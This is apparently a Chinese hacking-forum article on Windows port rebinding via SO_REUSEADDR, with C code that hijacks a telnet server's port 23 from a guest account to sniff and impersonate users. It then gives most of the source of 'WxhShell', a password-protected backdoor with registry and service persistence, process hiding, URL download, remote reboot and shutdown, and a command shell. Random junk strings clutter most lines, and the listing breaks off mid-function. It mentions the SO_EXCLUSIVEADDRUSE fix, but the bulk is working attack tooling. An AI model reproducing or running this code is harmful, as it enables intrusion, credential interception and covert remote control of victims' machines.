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利用VC实现端口复用

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lEwQj[ k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GRYw_}Aa  
9O-~Ws ;  
  saddr.sin_family = AF_INET; `?R{sNr.  
'R'hRMD9o  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1hCU"|VH:  
0iZeU:FE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,G46i)E\  
UP)< (3YA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ebJTrh<{  
Ri`6X_xU  
  这意味着什么?意味着可以进行如下的攻击: Mb[4_Dc  
ttJ'6lGXh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z ]  G#:  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) GVlT+Rs7  
:Ch XzZ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 a}f /<-L  
7?uDh'utt  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]g;+7  
b(R.&X  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 s+fxv(,"c  
<yEApWd;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7<)  
&xB9;v3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xrBM`Bj0@  
Kf[.@_TD<1  
  #include q'+ARW48  
  #include T-ST M"~%  
  #include DMsqTB`  
  #include    Rrry;Hr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :w5g!G?z  
  int main() }za pN v  
  { T}msF  
  WORD wVersionRequested; N2}Y8aR~  
  DWORD ret; ;qUB[Kw  
  WSADATA wsaData; >lqo73gM9  
  BOOL val; RV{%@1Pu  
  SOCKADDR_IN saddr; 8'zl\:@N  
  SOCKADDR_IN scaddr; O/Hj-u6&A  
  int err; NkNFx<9T  
  SOCKET s; z\UXn RL  
  SOCKET sc; .-T P 1C  
  int caddsize; xFThs,w  
  HANDLE mt; i?M-~EKu  
  DWORD tid;   tKe-Dk9  
  wVersionRequested = MAKEWORD( 2, 2 ); 9)S3{i6w  
  err = WSAStartup( wVersionRequested, &wsaData ); 286reeN/e  
  if ( err != 0 ) { <XDnAv0t  
  printf("error!WSAStartup failed!\n"); {.e+?V2>_  
  return -1; '/ \*l<  
  } GT] >  
  saddr.sin_family = AF_INET; oxeu%wj_  
   .xT{Rz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 P/[RH e  
`@1e{ ?$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); KGc.YUoE  
  saddr.sin_port = htons(23); J %A=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u1UCe  
  { (n>Gi;u(R  
  printf("error!socket failed!\n"); p9 ,[kb  
  return -1; 5RWqHPw+  
  } cH5  
  val = TRUE; sm{0o$\Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A_E2v{*n  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) nu1XT 1q1  
  { Xr8fmJtg'  
  printf("error!setsockopt failed!\n"); 3J 5,V  
  return -1; S},Cz  
  } hG#2}K_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >\:GFD{z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xq,ql@7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 rA?< \*  
]v>[r?X#V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6qTMHRI  
  { T!9AEG  
  ret=GetLastError(); =$y J66e  
  printf("error!bind failed!\n"); )nj fqg  
  return -1; >2),HZp^I  
  } OS<GAA0  
  listen(s,2); n!8W@qhew  
  while(1) i4k [#x  
  { Btzes.  
  caddsize = sizeof(scaddr); 8pr toCB  
  //接受连接请求 0`WFuFi^o  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $n!5JS@40  
  if(sc!=INVALID_SOCKET) z>,tP  
  { hPz=Ec<zW  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xgkCN$zQ`  
  if(mt==NULL) i g7|kl  
  { mP6}$ D  
  printf("Thread Creat Failed!\n"); gSwHPm%zn  
  break; (91ts$jH  
  } .nVY" C&  
  } c*zeO@AAn  
  CloseHandle(mt); lo6upir ZX  
  } K2n#;fY %  
  closesocket(s); DQ/rx`BG  
  WSACleanup(); F[jqJzCz  
  return 0; ~Yl.(R  
  }   TTa3DbFp%  
  DWORD WINAPI ClientThread(LPVOID lpParam) `5Z'8^  
  { V?.=_T<  
  SOCKET ss = (SOCKET)lpParam; 3!sZA?q  
  SOCKET sc; $iy!:Did  
  unsigned char buf[4096]; {2Tu_2>  
  SOCKADDR_IN saddr; X|!@%wuGC  
  long num; >vXJ9\  
  DWORD val; [) >Yp-n  
  DWORD ret; q&?hwX Z7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 b~* iL!<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $`\qY ^.(  
  saddr.sin_family = AF_INET; :a2[d1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); G~u$BV'  
  saddr.sin_port = htons(23); nr&|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wexX|B^u  
  { [Rq|;p  
  printf("error!socket failed!\n"); >)*d/^  
  return -1; {%k[Z9*tO  
  } *5s*-^'#!  
  val = 100; `# !>}/m  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9$9a BW  
  { "x;FE<I  
  ret = GetLastError(); $>_`.*I/  
  return -1; BT0;I  
  } vyWx{ @  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jz;{,F  
  { ac@\\2srV  
  ret = GetLastError(); S[y_Ew zq  
  return -1; 0<4'pO.6Hq  
  } p-(V2SP/)t  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bYem0hzOe  
  { @C[p?ak  
  printf("error!socket connect failed!\n"); #"TYk@whWf  
  closesocket(sc); jZmL7 V  
  closesocket(ss); e&ZH 1^O  
  return -1; n.NWS/v_{  
  } _PC<Td>nm  
  while(1) $}S0LZ_H  
  { Yg&/^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q2`mu4B  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ny`SE\B+/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 izl-GitP  
  num = recv(ss,buf,4096,0); Jc5Y Gj7  
  if(num>0) N|@ tP:j  
  send(sc,buf,num,0); @Q nKaZ8jW  
  else if(num==0) }LX!dDuwA  
  break; e~># M $  
  num = recv(sc,buf,4096,0); r+#g  
  if(num>0) ]Y->EME:W  
  send(ss,buf,num,0); ?kV_!2U)'K  
  else if(num==0) Uh1UZ r  
  break; tp!eF"v=  
  } XJl 3\*  
  closesocket(ss); RHvK Wt  
  closesocket(sc); 7iv g3*  
  return 0 ; ER&\2,fZ  
  } "9Q_lVI|Q  
0%HAa|L,,  
KC9VQeSc  
========================================================== f0%'4t  
YaQ5Z-c  
下边附上一个代码,,WXhSHELL d0%Wz5Np  
fo>_*6i74  
========================================================== @J^ Oy 3z  
vF@|cTRR)  
#include "stdafx.h" 9Ou}8a?m"  
As^eL/m2L  
#include <stdio.h> fU%Mz\t  
#include <string.h> N;}X$b5Y @  
#include <windows.h> ~K|ha26W  
#include <winsock2.h> bYhG`1,$-a  
#include <winsvc.h> gth_Sz5!#  
#include <urlmon.h> zt|1tU:  
=\i%,YY  
#pragma comment (lib, "Ws2_32.lib") bh\2&]Di/  
#pragma comment (lib, "urlmon.lib") ;Tq4!w'rH  
apM)$  
#define MAX_USER   100 // 最大客户端连接数 \7$"i5  
#define BUF_SOCK   200 // sock buffer `GY]JVW  
#define KEY_BUFF   255 // 输入 buffer } 21!b :a  
cL#zE  
#define REBOOT     0   // 重启 OQg}E@LZ  
#define SHUTDOWN   1   // 关机 /=#~8  
&FZ~n?;hQ  
#define DEF_PORT   5000 // 监听端口 Lew 2Z  
7N vRZ!  
#define REG_LEN     16   // 注册表键长度 !VudZ]Sg  
#define SVC_LEN     80   // NT服务名长度 Aq'~'hS`1  
s6;ZaU  
// 从dll定义API tdu:imH~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ehe#"exCB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n1R{[\ >1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w9gfva$&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (otD4VR_  
&!'R'{/?X  
// wxhshell配置信息 y6G6wk;  
struct WSCFG { jzi^ OI7  
  int ws_port;         // 监听端口 Yyw3+3  
  char ws_passstr[REG_LEN]; // 口令 `tKs|GQf  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^foCcO  
  char ws_regname[REG_LEN]; // 注册表键名 DI-CC[  
  char ws_svcname[REG_LEN]; // 服务名 I>-1kFma;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .ubZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .K#' Fec  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2Mw`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fp3`O9+em  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JV !F<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EQHCw<e  
{Ov{O,c 5  
}; &f)pU>Di  
Ck/w:i@>?  
// default Wxhshell configuration (v}l#M7w  
struct WSCFG wscfg={DEF_PORT, R"F:(  
    "xuhuanlingzhe", i{HzY[  
    1, 8f'r_,"  
    "Wxhshell", v.,D,6qZ  
    "Wxhshell", 1^WkW\9kO  
            "WxhShell Service", ):L0{W{  
    "Wrsky Windows CmdShell Service", (J(SwL|  
    "Please Input Your Password: ", YXU2UIY<~  
  1, ]yFO~4Nu  
  "http://www.wrsky.com/wxhshell.exe", }^odUIj  
  "Wxhshell.exe" ^ Vc(oa&;  
    }; /kO%aN  
?xQm_ 91X^  
// 消息定义模块 9:E.Iy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JRtDjZ4>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \y7\RV>>3b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Oo>Uu{{  
char *msg_ws_ext="\n\rExit."; \x8'K  
char *msg_ws_end="\n\rQuit."; Gch3|e  
char *msg_ws_boot="\n\rReboot..."; DsHm,dZ  
char *msg_ws_poff="\n\rShutdown..."; x IL]Y7HWM  
char *msg_ws_down="\n\rSave to ";  Qk.[#  
>ca`0gu  
char *msg_ws_err="\n\rErr!"; S1i~r+jf  
char *msg_ws_ok="\n\rOK!"; _.W;hf`  
h}oV)z6  
char ExeFile[MAX_PATH]; %;GRR (K  
int nUser = 0; {k'$uW `  
HANDLE handles[MAX_USER];  N=!k2+  
int OsIsNt; ,v9*|>4  
TD!c+ ${w  
SERVICE_STATUS       serviceStatus; z<cPy)F]"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ySlGqR1H  
 6\QsK96_  
// 函数声明 Vk1 c14i>  
int Install(void); `@<)#9'A  
int Uninstall(void); GgvMd~  
int DownloadFile(char *sURL, SOCKET wsh); wu} Zu  
int Boot(int flag); i$!K{H1{9  
void HideProc(void); U[ogtfv`m  
int GetOsVer(void); qvJQbo[.9P  
int Wxhshell(SOCKET wsl); WBD"d<>'  
void TalkWithClient(void *cs); >IZ$ .-  
int CmdShell(SOCKET sock); `n`HwDo;i  
int StartFromService(void); 2kFP;7FO  
int StartWxhshell(LPSTR lpCmdLine); E@Yq2FBpnn  
q-+_Y `_\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]^QO ^{Sz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mw\Pv|  
_Vt CC/  
// 数据结构和表定义 ^/$U(4  
SERVICE_TABLE_ENTRY DispatchTable[] = Bthp_cSmLs  
{ ?y[i6yN9  
{wscfg.ws_svcname, NTServiceMain}, 5J6~]J  
{NULL, NULL} '@5"p.  
};  S^5Qhv  
M(Yt9}Z%Y  
// 自我安装 d}^hZ8k|  
int Install(void) nc#} \  
{ {-)I2GJav  
  char svExeFile[MAX_PATH]; FJ|JXH*  
  HKEY key; G8b`>@rZ  
  strcpy(svExeFile,ExeFile); ?ViU%t8J5  
'FG@Rg (  
// 如果是win9x系统,修改注册表设为自启动 bW^{I,b<F  
if(!OsIsNt) { X;dUlSi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <$ ` ^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !WD^To  
  RegCloseKey(key); A=wh&X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { msZ 3%L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OlsD  
  RegCloseKey(key); I-/-k.  
  return 0; MeO2 cy!5q  
    } 6k ]+DbT  
  } &?APY9\.  
} *MXE>   
else { {_jbFJ  
^^[A\'  
// 如果是NT以上系统,安装为系统服务 l+^4y_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Qf@ha  
if (schSCManager!=0) !<0 `c  
{ p2wDk^$  
  SC_HANDLE schService = CreateService )JR&  
  ( [5MV$)"!j  
  schSCManager, [85tZr]  
  wscfg.ws_svcname, %?O$xQ.<  
  wscfg.ws_svcdisp, {jEEAH)  
  SERVICE_ALL_ACCESS, &f/"ir[8i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "Q1oSpF  
  SERVICE_AUTO_START, [T2!,D.  
  SERVICE_ERROR_NORMAL, F<2qwP  
  svExeFile, Rw`64L_  
  NULL, wG&rkg";#  
  NULL, %/%TR@/  
  NULL, `_pVwa<@w  
  NULL, ]P4?jKI  
  NULL 2-@z-XKn  
  ); F@-8J?Hl:  
  if (schService!=0) VVi3g  
  { :i o[9B [  
  CloseServiceHandle(schService); Rs "#gT  
  CloseServiceHandle(schSCManager); \{}5VVw-S?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C ?aa)H  
  strcat(svExeFile,wscfg.ws_svcname); #>">fs]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N/8B@}@n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +)*oPSQ5  
  RegCloseKey(key); o? wEX%  
  return 0; 7,R ~2ss5z  
    } na] 9-~4  
  } zw%1 a 3!  
  CloseServiceHandle(schSCManager); Xcci)",!  
} b}m@2DR'|m  
} VP6_}9:9   
-b'/}zz  
return 1; H:`H4 S}  
} ?H21Ru>:*  
0@}:`OynX  
// 自我卸载 F Xp_`9.zH  
int Uninstall(void) `s_k+ g  
{ HurF4IsHk  
  HKEY key; +-MieiKv  
;^so;>F  
if(!OsIsNt) { qGECw#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iY3TB|tMt  
  RegDeleteValue(key,wscfg.ws_regname); Ak,T{;rD  
  RegCloseKey(key); wl%I(Cw{]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B3&ETi5NTU  
  RegDeleteValue(key,wscfg.ws_regname); S+-V16{i  
  RegCloseKey(key); U{8x.CJ]  
  return 0; 7m;<b$  
  } )xYGJq4  
} 0 TOw4pC  
} O|0,= 5  
else { c #8@>;  
dY.NQ1@"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mZL0<vU@^  
if (schSCManager!=0) Ihx[S!:  
{ !+3nlG4cw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ME'LZ"VT  
  if (schService!=0) 5DVSaI$ =  
  { zB#.EW  
  if(DeleteService(schService)!=0) { ePiZHqIsv/  
  CloseServiceHandle(schService); c^}DBvG,  
  CloseServiceHandle(schSCManager); '2ACZcjDSv  
  return 0; 18ON`j  
  } jUrUM.CJ\N  
  CloseServiceHandle(schService); p1 mY!&e(  
  } !~ZAm3GwL  
  CloseServiceHandle(schSCManager); WTu1t]  
} | =tGrHL  
} +Sg+% 8T  
UkM#uKr:  
return 1; r.v.y[u  
} ;~Q`TWC  
>ToI$~84  
// 从指定url下载文件 Lv:;}  
int DownloadFile(char *sURL, SOCKET wsh) a]0hB:  
{ a- 7RJ.  
  HRESULT hr; lLNI5C  
char seps[]= "/"; <O~ieJim  
char *token; saVX2j6Y  
char *file; r/RX|M  
char myURL[MAX_PATH]; v=x)]<E" _  
char myFILE[MAX_PATH]; XiAflO  
lO8GnkLE  
strcpy(myURL,sURL); H8qWY"<Vd  
  token=strtok(myURL,seps); )Xice=x9  
  while(token!=NULL) 'L G )78sk  
  { ;! #IRR  
    file=token; X-cP '"  
  token=strtok(NULL,seps); `/o|1vv@_  
  } ?fNUmk^A<  
G-Zn-I  
GetCurrentDirectory(MAX_PATH,myFILE); TZa LB}4  
strcat(myFILE, "\\"); t7,**$ST  
strcat(myFILE, file); k~=P0";  
  send(wsh,myFILE,strlen(myFILE),0); _ IlRZ}f  
send(wsh,"...",3,0); 9oj0X>| 1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nSq$,tk(  
  if(hr==S_OK) ->J5|c#  
return 0; 3tCT"UvTD  
else X9ec*x  
return 1; ho}G]y  
[.nkNda5)v  
} (O'O #AD  
zz-X5PFn  
// 系统电源模块 Kj#h9e  
int Boot(int flag) <|VV8r93  
{ M#xol/)h  
  HANDLE hToken; UW-`k1  
  TOKEN_PRIVILEGES tkp; ^'4I%L"  
-z>m]YDH  
  if(OsIsNt) { SHqz &2u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N`7+] T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L:Me  
    tkp.PrivilegeCount = 1; q `L}\}o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BJnysQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t[\6/`YH  
if(flag==REBOOT) { 9&1$\ZH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PH=O>a`a_O  
  return 0; oX?~  
} gg$:U  
else { *)Pb-c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VoNk.h"T  
  return 0; [m9=e-KS$Q  
} 4&H&zST//m  
  } |i- S}M  
  else { Q8NrbMrl  
if(flag==REBOOT) { gX/?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) py9`q7F  
  return 0; HVNX"`]"  
} HUx -8<ws  
else { L%/atl!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7h\U}!  
  return 0; &[ $t%:`  
} dSbz$Fct  
} sUpSXG-W/@  
6x@4gP y[  
return 1; ~oeX0l>F  
} hIwqSKq9  
n/+G^:~_  
// win9x进程隐藏模块 L EY k  
void HideProc(void) x^y&<tA  
{ -Vj112 fI  
c5t7X-LB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4J$dG l#f  
  if ( hKernel != NULL ) lt#3&@<v  
  { cd)}a_9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {$v>3FG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?cgb3^R'  
    FreeLibrary(hKernel); 29f4[V X  
  } 0#/Pc`z C  
cfPQcB>A  
return; C.+:FY.H  
} mWH;-F*%  
*m`F-J6U  
// 获取操作系统版本 g3\1 3<  
int GetOsVer(void) -@/!u9l  
{ )h/Qxf  
  OSVERSIONINFO winfo; l,ra24  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I3dUI~}u  
  GetVersionEx(&winfo); Fj1'z5$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JiRfLB  
  return 1; USbFUHdDc  
  else `B7?F$J  
  return 0; ZnD(RM  
} i{k v$ir!  
1f0maN  
// 客户端句柄模块 %DhLU~VX  
int Wxhshell(SOCKET wsl) UsdUMt!u  
{ l"9$lF}  
  SOCKET wsh; uar[D|DcD"  
  struct sockaddr_in client; -FQS5Zb.!  
  DWORD myID; poXT)2^)  
'! ~ s=  
  while(nUser<MAX_USER) ilFS9A3P  
{ tj[-|h  
  int nSize=sizeof(client); ,w7ZsI4:[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d6~d)E  
  if(wsh==INVALID_SOCKET) return 1; 0mI4hy  
t&rr;W]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i&JI"Dd7  
if(handles[nUser]==0) z=DK(b;$z  
  closesocket(wsh); M.KXDD#O  
else <}1GYeP  
  nUser++; (z X&feq  
  } 0Y/k /)Ul]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qEnmms1  
Xvn \~Vr  
  return 0; 3y-P-NI~=  
} }62Q{>`  
$"`e^J9!!  
// 关闭 socket c.h_&~0qf  
void CloseIt(SOCKET wsh) <"!'>ZUt  
{ P;p;o]  
closesocket(wsh); sW!MVv  
nUser--; $>=w<=r|;  
ExitThread(0); 5z"[{ #/  
} Ms=11C  
-A1:S'aN-  
// 客户端请求句柄 o.>Yj)U  
void TalkWithClient(void *cs) lsB.>NlU  
{ PF: E{_~  
:6}cczQE|O  
  SOCKET wsh=(SOCKET)cs; FO?I}G22  
  char pwd[SVC_LEN]; <u2iXH5w  
  char cmd[KEY_BUFF]; HG[gJ7  
char chr[1]; txy'7t  
int i,j; _OR[RGy  
09Y:(2Qri  
  while (nUser < MAX_USER) { $ Bdxu  
a`S3v  
if(wscfg.ws_passstr) { _Uu p*#m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >I9|N}I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q%wF=<W  
  //ZeroMemory(pwd,KEY_BUFF); `}*jjnr"  
      i=0; vjYG>YhV  
  while(i<SVC_LEN) { 8rSu,&<  
d4A3DTW  
  // 设置超时 zM<yd#`yt8  
  fd_set FdRead; ]d,#PF  
  struct timeval TimeOut; R!7a;J}  
  FD_ZERO(&FdRead); pOIfKd  
  FD_SET(wsh,&FdRead); P%Wl`NA P  
  TimeOut.tv_sec=8; t}Kzh`  
  TimeOut.tv_usec=0;  h]?[}&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S{ qn^\0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "gq _^&  
L&qY709  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T2i\S9X  
  pwd=chr[0]; lK #~lC  
  if(chr[0]==0xd || chr[0]==0xa) { 2%t!3F:  
  pwd=0; vmT6^G  
  break; 2Jn?'76`  
  } f'B#h;`  
  i++; LrnE6 U9  
    } D}EH9d  
\t]aBT,  
  // 如果是非法用户,关闭 socket JL&ni]m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'pl){aL`@u  
} 4t0-L]v4.*  
g<N3 L [  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;q" ,Bs  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); > V%3w7  
vX"jL  
while(1) { j:'!P<#  
r2>y !Q?  
  ZeroMemory(cmd,KEY_BUFF); \DRYqLT`  
F` ]s  
      // 自动支持客户端 telnet标准   ~aRcA|`  
  j=0; 7\JA8mm  
  while(j<KEY_BUFF) { s&Qil07 Vl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !8Q9RnGn  
  cmd[j]=chr[0]; iVb#X#  
  if(chr[0]==0xa || chr[0]==0xd) { wq`\p['Q,  
  cmd[j]=0; p?eQN Y  
  break; HZzdelo  
  } ,Y2){8#l  
  j++; J|[`8 *8  
    } Ov8{ny  
px.]m-  
  // 下载文件 ' $X}'u  
  if(strstr(cmd,"http://")) { @)m+b;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b:(*C  
  if(DownloadFile(cmd,wsh)) >rzpYc'~w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  S]&7  
  else ;gv9J [R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t&Z:G<;  
  } qf6}\0   
  else { SZ"^>}zl=  
Q5qQ%cu  
    switch(cmd[0]) { Y([vma>U]  
  sBD\;\I  
  // 帮助 K>fY9`Whm  
  case '?': { O{`r.H1',  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IDr$Vu4LCW  
    break; [:\8Ug8  
  } .6#Y- iJqc  
  // 安装 ;l'kPUv([  
  case 'i': { ZVmgQ7m  
    if(Install()) OQZ\/~o 5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EL-1o0 2-  
    else IEJp!P,E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7U{g'<  
    break; [!E~pW%|n  
    } ;yK:.Vg  
  // 卸载 Z]I yj 97  
  case 'r': { OM 5h>\9  
    if(Uninstall()) haMt2S2_B:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); za@`,Yq  
    else _fQBXG2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;'J{ylRQ  
    break; 9oA.!4q  
    } b?FTwjV+#  
  // 显示 wxhshell 所在路径 '^Ce9r}  
  case 'p': { $N1UEvC%Q  
    char svExeFile[MAX_PATH]; 2KC~; 5  
    strcpy(svExeFile,"\n\r"); (J^2|9r  
      strcat(svExeFile,ExeFile); ;l6tZ]-"  
        send(wsh,svExeFile,strlen(svExeFile),0); e'Th[ wJ  
    break; O%(k$ fvM  
    } U i ~*]  
  // 重启 x9!vtrM\Zr  
  case 'b': { ,ZLg=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7`f',ZK%  
    if(Boot(REBOOT)) y-c2tF@'v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &D 4Ci_6k  
    else { _GK3]F0  
    closesocket(wsh); zn|/h,.  
    ExitThread(0); @}cZxFQ!C  
    } `Dco!ih  
    break; mME a*9P  
    } h^KLqPBt{  
  // 关机 13nXvYo'  
  case 'd': { =K2mR}n\;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D*R49hja{  
